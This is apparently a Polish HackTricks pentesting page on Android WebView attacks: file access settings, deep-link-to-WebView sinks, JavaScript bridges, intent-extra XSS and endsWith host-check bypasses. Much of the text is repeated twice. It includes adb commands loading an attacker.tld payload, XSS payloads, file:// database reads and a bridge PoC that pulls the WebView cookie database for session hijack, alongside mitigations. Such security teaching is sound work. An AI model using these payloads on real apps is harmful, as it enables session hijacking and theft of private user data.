WebView Ataki
Reading time: 18 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przewodnik po konfiguracji i bezpieczeństwie WebView
Przegląd podatności WebView
Krytycznym aspektem rozwoju aplikacji Android jest poprawne obsługiwanie WebView. Ten przewodnik przedstawia kluczowe konfiguracje i praktyki bezpieczeństwa, które zmniejszają ryzyko związane z używaniem WebView.
.png)
Dostęp do plików w WebView
Domyślnie WebView umożliwia dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje z uprawnieniem android.permission.READ_EXTERNAL_STORAGE mogą odczytywać pliki z pamięci zewnętrznej używając schematu URL pliku (file://path/to/file).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z URL-ów file, co stwarzało poważne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślne ustawienie to disabled (
false) dla aplikacji targetujących Android Jelly Bean i nowsze. - Aby sprawdzić to ustawienie, użyj
getAllowUniversalAccessFromFileURLs(). - Aby zmodyfikować to ustawienie, użyj
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do zawartości z innych URL-i używających schematu file. Podobnie jak w przypadku universal access, domyślnie jest wyłączona dla zwiększenia bezpieczeństwa.
- Użyj
getAllowFileAccessFromFileURLs()aby sprawdzić isetAllowFileAccessFromFileURLs(boolean)aby ustawić.
Bezpieczne ładowanie plików
Aby wyłączyć dostęp do systemu plików przy jednoczesnym dostępie do assetów i zasobów, używa się metody setAllowFileAccess(). Na Android R i nowszych domyślne ustawienie to false.
- Sprawdź za pomocą
getAllowFileAccess(). - Włącz lub wyłącz za pomocą
setAllowFileAccess(boolean).
WebViewAssetLoader
Klasa WebViewAssetLoader to nowoczesne podejście do ładowania lokalnych plików. Używa ona URLi http(s) do dostępu do lokalnych assetów i zasobów, zgodnie z zasadą Same-Origin, co ułatwia zarządzanie CORS.
loadUrl
To powszechna funkcja używana do ładowania dowolnych URLi w WebView:
webview.loadUrl("<url here>")
Oczywiście, potencjalny atakujący nigdy nie powinien móc kontrolować URL, który aplikacja zamierza załadować.
JavaScript i obsługa Intent Scheme
- JavaScript: Wyłączony domyślnie w WebViews, można go włączyć za pomocą
setJavaScriptEnabled(). Należy zachować ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa. - Intent Scheme: WebViews mogą obsługiwać schemat
intent, co potencjalnie może prowadzić do exploitów, jeśli nie jest odpowiednio zarządzane. Przykładowa luka obejmowała ujawniony parametr WebView "support_url", który mógł zostać wykorzystany do wykonania cross-site scripting (XSS) attacks.
.png)
Przykład exploitacji przy użyciu adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
JavaScript Bridge
Android udostępnia funkcję, która umożliwia JavaScript w WebView wywoływanie natywnych funkcji aplikacji Android. Osiąga się to poprzez użycie metody addJavascriptInterface, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako WebView JavaScript bridge. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom wewnątrz WebView na dostęp do zarejestrowanego obiektu interfejsu JavaScript, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawnione zostaną wrażliwe informacje.
- Wymagana jest szczególna ostrożność w przypadku aplikacji skierowanych na wersje Android poniżej 4.2 z powodu podatności pozwalającej na zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystującej refleksję.
Implementacja JavaScript Bridge
- Interfejsy JavaScript mogą współdziałać z kodem natywnym, jak pokazują przykłady, gdzie metoda klasy jest udostępniona dla JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge jest włączany przez dodanie interfejsu do WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencjalne wykorzystanie za pomocą JavaScript, na przykład przez atak XSS, umożliwia wywoływanie wystawionych metod Java:
<script>
alert(javascriptBridge.getSecret())
</script>
- Aby zmniejszyć ryzyko, ogranicz użycie JavaScript bridge do kodu dostarczonego z APK i uniemożliwiaj ładowanie JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.
Reflection-based Remote Code Execution (RCE)
- Udokumentowana metoda pozwala osiągnąć RCE przez mechanizm reflection poprzez wykonanie określonego payloadu. Jednak adnotacja
@JavascriptInterfacezapobiega nieautoryzowanemu dostępowi do metod, ograniczając powierzchnię ataku.
Remote Debugging
- Remote debugging jest możliwe za pomocą Chrome Developer Tools, umożliwiając interakcję i dowolne wykonywanie JavaScript w zawartości WebView.
Enabling Remote Debugging
- Remote debugging można włączyć dla wszystkich WebViews w aplikacji poprzez:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Aby warunkowo włączyć debugowanie w zależności od wartości atrybutu debuggable aplikacji:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate dowolnych plików
- Demonstruje exfiltration dowolnych plików przy użyciu XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView Attacks
Przewodnik po konfiguracjach i zabezpieczeniach WebView
Przegląd podatności WebView
Krytycznym aspektem tworzenia aplikacji na Androidzie jest prawidłowe obsługiwanie WebView. Ten przewodnik omawia kluczowe konfiguracje i praktyki bezpieczeństwa, aby ograniczyć ryzyka związane z używaniem WebView.
.png)
Dostęp do plików w WebView
Domyślnie WebView pozwalają na dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje z uprawnieniem android.permission.READ_EXTERNAL_STORAGE mogą czytać pliki z pamięci zewnętrznej używając schematu URL pliku (file://path/to/file).
Funkcje przestarzałe: Universal and File Access From URLs
- Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z file URLs, stwarzając poważne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślnie ustawienie jest wyłączone (
false) dla aplikacji targetujących Android Jelly Bean i nowsze. - Aby sprawdzić to ustawienie, użyj
getAllowUniversalAccessFromFileURLs(). - Aby zmodyfikować to ustawienie, użyj
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL-i o schemacie file. Podobnie jak universal access, domyślnie jest wyłączona dla zwiększenia bezpieczeństwa.
- Użyj
getAllowFileAccessFromFileURLs()aby sprawdzić isetAllowFileAccessFromFileURLs(boolean)aby ustawić.
Bezpieczne ładowanie plików
Aby wyłączyć dostęp do systemu plików przy jednoczesnym dostępie do assetów i zasobów, używa się metody setAllowFileAccess(). W Android R i nowszych domyślne ustawienie to false.
- Sprawdź za pomocą
getAllowFileAccess(). - Włącz lub wyłącz za pomocą
setAllowFileAccess(boolean).
WebViewAssetLoader
Klasa WebViewAssetLoader jest nowoczesnym podejściem do ładowania plików lokalnych. Używa adresów http(s) do dostępu do lokalnych assetów i zasobów, zgodnych z polityką Same-Origin, co ułatwia zarządzanie CORS.
loadUrl
Jest to powszechna funkcja używana do ładowania dowolnych URL-i w WebView:
webview.loadUrl("<url here>")
Oczywiście, potencjalny attacker nigdy nie powinien mieć możliwości kontrolowania URL, który aplikacja ma załadować.
Deep-linking do wewnętrznego WebView (custom scheme → WebView sink)
Wiele aplikacji rejestruje custom schemes/paths, które kierują dostarczony przez użytkownika URL do wbudowanego WebView aplikacji. Jeśli deep link jest eksportowany (VIEW + BROWSABLE), attacker może zmusić aplikację do renderowania dowolnej, zdalnej zawartości wewnątrz jej kontekstu WebView.
Typowy wzorzec manifestu (uproszczony):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Typowy przepływ kodu (uproszczony):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Wzorzec ataku i PoC przez adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: zdalna strona działa w kontekście WebView aplikacji (cookies/session profilu WebView aplikacji, dostęp do wszelkich exposed @JavascriptInterface, potencjalny dostęp do content:// i file:// zależnie od ustawień).
Hunting tips:
- Przeszukaj zdekompilowane źródła pod kątem
getQueryParameter("url"),loadUrl(,WebViewsinks i handlerów deep-link (onCreate/onNewIntent). - Przejrzyj manifest w poszukiwaniu filtrów VIEW+BROWSABLE oraz niestandardowych schematów/hostów, które mapują na activity, które później uruchamiają WebView.
- Sprawdź, czy istnieje wiele ścieżek deep-link (np. ścieżka „zewnętrzna przeglądarka” vs. „wewnętrzny WebView”) i preferuj tę, która renderuje wewnątrz aplikacji.
Enabling JavaScript before verification (order-of-checks bug)
Częstym błędem w hardeningu jest włączenie JavaScript lub skonfigurowanie poluzowanych ustawień WebView przed zakończeniem ostatecznego allowlist/weryfikacji docelowego URL. Jeśli weryfikacja jest niespójna między helperami lub następuje zbyt późno, złośliwy deep link może doprowadzić do stanu, w którym:
- ustawienia WebView mają zastosowanie (np.
setJavaScriptEnabled(true)), oraz - niezaufany URL jest załadowany z włączonym JavaScriptem.
Wzorzec błędu (pseudokod):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Dlaczego to jest eksploatowalne
- Niespójna normalizacja: pomocnicze funkcje dzielą/odtwarzają URL inaczej niż końcowe sprawdzenie, tworząc rozbieżności, które może wykorzystać złośliwy URL.
- Nieprawidłowa kolejność etapów: włączenie JS w kroku 2 stosuje się globalnie do instancji WebView, wpływając na ostateczne ładowanie nawet jeśli późniejsze weryfikacje nie przejdą.
Jak testować
- Stwórz deep-link payloady, które przejdą wczesne kontrole i dotrą do strony konfiguracji WebView.
- Użyj adb, aby wysłać implicit VIEW intents dostarczające parametr
url=kontrolowany przez ciebie:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Jeśli exploitation powiedzie się, twój payload wykona JavaScript w WebView aplikacji. Stamtąd zbadaj exposed bridges:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Wskazówki obronne
- Kanonizuj raz; waliduj ściśle względem pojedynczego źródła prawdy (scheme/host/path/query).
- Wywołuj
setJavaScriptEnabled(true)tylko po przejściu wszystkich sprawdzeń allowlist i bezpośrednio przed załadowaniem zaufanej treści. - Unikaj ujawniania
@JavascriptInterfaceniezaufanym originom; preferuj per-origin gating. - Rozważ użycie oddzielnych instancji per-WebView dla zaufanej i niezaufanej treści, z JS wyłączonym domyślnie.
JavaScript i obsługa schematu Intent
- JavaScript: Domyślnie wyłączony w WebView, można go włączyć przez
setJavaScriptEnabled(). Należy zachować ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa. - Intent Scheme: WebView potrafią obsługiwać schemat
intent, co może prowadzić do exploitów, jeśli nie jest odpowiednio zarządzane. Przykładowa podatność dotyczyła wystawionego parametru WebView "support_url", który mógł zostać wykorzystany do wykonania ataków cross-site scripting (XSS).
.png)
Przykład eksploatacji przy użyciu adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android udostępnia mechanizm, który umożliwia JavaScript w WebView wywoływanie natywnych funkcji aplikacji Android. Osiąga się to za pomocą metody addJavascriptInterface, która integruje JavaScript z natywnymi funkcjonalnościami Androida, nazywaną WebView JavaScript bridge. Należy zachować ostrożność, ponieważ ta metoda umożliwia wszystkim stronom w WebView dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawnione zostaną wrażliwe informacje.
- Wymagana jest wyjątkowa ostrożność w przypadku aplikacji skierowanych na Androida w wersjach poniżej 4.2 z powodu podatności umożliwiającej remote code execution przez złośliwy JavaScript, wykorzystującej reflection.
Implementing a JavaScript Bridge
- JavaScript interfaces mogą wchodzić w interakcję z natywnym kodem, jak pokazano w przykładach, gdzie metoda klasy jest udostępniona dla JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge jest włączony przez dodanie interfejsu do WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie udostępnionych metod Java:
<script>
alert(javascriptBridge.getSecret())
</script>
- Aby zminimalizować ryzyko, ogranicz użycie JavaScript bridge do kodu dostarczonego z APK i uniemożliwiaj ładowanie JavaScript z zdalnych źródeł. Na starszych urządzeniach ustaw minimalny poziom API na 17.
Wykorzystywanie dispatcher-style JS bridges (invokeMethod/handlerName)
Typowym wzorcem jest pojedyncza eksportowana metoda (np. @JavascriptInterface void invokeMethod(String json)), która deserializuje JSON kontrolowany przez atakującego do generycznego obiektu i wywołuje odpowiednią akcję na podstawie podanej nazwy handlera. Typowa struktura JSON:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
Risk: jeśli którykolwiek z zarejestrowanych handlerów wykonuje uprzywilejowane działania na danych atakującego (np. bezpośrednie odczyty plików), możesz go wywołać ustawiając handlerName odpowiednio. Wyniki są zwykle zwracane do kontekstu strony przez evaluateJavascript oraz mechanizm callback/promise identyfikowany przez callbackId.
Key hunting steps
- Dekomiluj i przeszukaj (grep) pod kątem
addJavascriptInterface(, aby poznać nazwę obiektu bridge (np.xbridge). - W Chrome DevTools (chrome://inspect) wpisz nazwę obiektu bridge w konsoli (np.
xbridge), aby wylistować wyeksponowane pola/metody; szukaj ogólnego dispatchera takiego jakinvokeMethod. - Wyenumeruj handlery, szukając klas implementujących
getModuleName()lub map rejestracji.
Arbitrary file read via URI → File sinks (Base64 exfiltration)
Jeśli handler przyjmuje URI, wywołuje Uri.parse(req.getUri()).getPath(), tworzy new File(...) i odczytuje go bez allowlists lub kontroli sandbox, uzyskujesz arbitrary file read w sandboxie aplikacji, który omija ustawienia WebView takie jak setAllowFileAccess(false) (odczyt odbywa się w kodzie natywnym, nie przez WebView network stack).
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Uwagi
- Ścieżki plików Cookie różnią się w zależności od urządzenia/dostawcy. Najczęściej spotykane:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- Handler zwraca Base64; zdekoduj, aby odzyskać cookies i podszyć się pod użytkownika w profilu WebView aplikacji.
Wskazówki wykrywania
- Zwracaj uwagę na duże ciągi Base64 zwracane przez
evaluateJavascriptpodczas korzystania z aplikacji. - Przeszukaj (grep) zdekompilowane źródła w poszukiwaniu handlerów, które przyjmują
uri/pathi konwertują je nanew File(...).
Omijanie kontroli uprawnień WebView – sprawdzenia hosta endsWith()
Decyzje dotyczące uprawnień (wybór JSB-enabled Activity) często opierają się na listach dozwolonych hostów. Wadliwy wzorzec to:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
Logika równoważna (prawa De Morgana):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
To nie jest sprawdzenie pochodzenia (origin). Wiele niezamierzonych hostów spełnia drugi warunek, wpuszczając niezaufane domeny do uprzywilejowanej Activity. Zawsze weryfikuj scheme i host względem ścisłej listy dozwolonych (dokładne dopasowanie lub poprawne sprawdzenie subdomeny z uwzględnieniem granic kropki), a nie sztuczek typu endsWith.
Prymityw wykonawczy javascript:// przez loadUrl
Po uzyskaniu dostępu do uprzywilejowanego WebView, aplikacje czasami wykonują inline JS za pomocą:
webView.loadUrl("javascript:" + jsPayload);
Jeśli wewnętrzny flow wywoła loadUrl("javascript:...") w tym kontekście, wstrzyknięty JS wykona się z dostępem do bridge’a, nawet jeśli zewnętrzna strona normalnie nie miałaby do tego uprawnień. Pentest steps:
- Grep for
loadUrl("javascript:andevaluateJavascript(in the app. - Spróbuj dotrzeć do tych ścieżek kodu po wymuszeniu nawigacji do uprzywilejowanego WebView (np. przez permissive deep link chooser).
- Use the primitive to call the dispatcher (
xbridge.invokeMethod(...)) and reach sensitive handlers.
Mitigations (developer checklist)
- Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid
endsWith-based checks. Consider Digital Asset Links when applicable. - Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
- Remove or tightly guard filesystem-capable handlers; prefer
content://with allowlists/permissions over rawfile://paths. - Avoid
loadUrl("javascript:")in privileged contexts or gate it behind strong checks. - Remember
setAllowFileAccess(false)doesn’t protect against native file reads via the bridge.
JSB — wskazówki do enumeracji i debugowania
- Włącz zdalne debugowanie WebView, aby użyć konsoli Chrome DevTools:
- App-side (debug builds):
WebView.setWebContentsDebuggingEnabled(true) - System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
- W DevTools wpisz nazwę obiektu bridge (np.
xbridge), aby zobaczyć udostępnione elementy i przetestować dispatcher.
Reflection-based Remote Code Execution (RCE)
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the
@JavascriptInterfaceannotation prevents unauthorized method access, limiting the attack surface.
Remote Debugging
- Remote debugging is possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.
Enabling Remote Debugging
- Zdalne debugowanie można włączyć dla wszystkich WebView w aplikacji poprzez:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Aby warunkowo włączyć debugging w oparciu o stan debuggable aplikacji:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate arbitrary files
- Prezentuje exfiltration dowolnych plików za pomocą XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView XSS via Intent extras → loadData()
Częstą podatnością jest odczytywanie danych kontrolowanych przez atakującego z przychodzącego Intent extra i wstrzykiwanie ich bezpośrednio do WebView za pomocą loadData() przy włączonym JavaScript.
Przykład podatności (exported Activity odczytuje extra i renderuje go jako HTML):
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
Jeśli ta Activity jest eksportowana (lub osiągalna przez eksportowany proxy), złośliwa aplikacja może przekazać HTML/JS w dodatkowym polu data, aby wywołać reflected XSS:
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
Wpływ
- Wykonanie dowolnego JS w kontekście WebView aplikacji: enumeruj/użyj mostków
@JavascriptInterface, uzyskaj dostęp do WebView cookies/local storage, pivot do file:// lub content:// w zależności od ustawień.
Mitigations
- Traktuj wszystkie wejścia pochodzące z Intent jako niezaufane. Zastosuj escapowanie (
Html.escapeHtml) lub odrzuć HTML; lepiej renderować niezaufany tekst jako zwykły tekst, nie jako HTML. - Utrzymuj JavaScript wyłączony, chyba że jest to absolutnie konieczne; nie włączaj
WebChromeClientdla niezaufanej zawartości. - Jeśli musisz renderować szablonowy HTML, użyj
loadDataWithBaseURL()z bezpieczną bazą i CSP; oddziel zaufane i niezaufane WebView. - Unikaj wystawiania Activity na zewnątrz lub chroń je uprawnieniami, gdy nie jest potrzebne.
Powiązane
- Zobacz prymitywy oparte na Intent i przekierowania w: Intent Injection
Referencje
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations – Part II
- Deep Links & WebViews Exploitations – Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Account takeover in Android app via JSB – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – enable WebView debugging
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks